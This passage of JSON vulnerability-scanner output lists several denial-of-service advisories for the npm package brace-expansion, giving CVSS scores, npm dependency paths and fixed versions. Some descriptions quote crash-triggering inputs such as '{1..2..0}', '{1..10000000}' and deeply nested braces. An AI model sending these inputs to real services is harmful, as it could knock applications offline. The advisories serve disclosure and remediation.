7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient 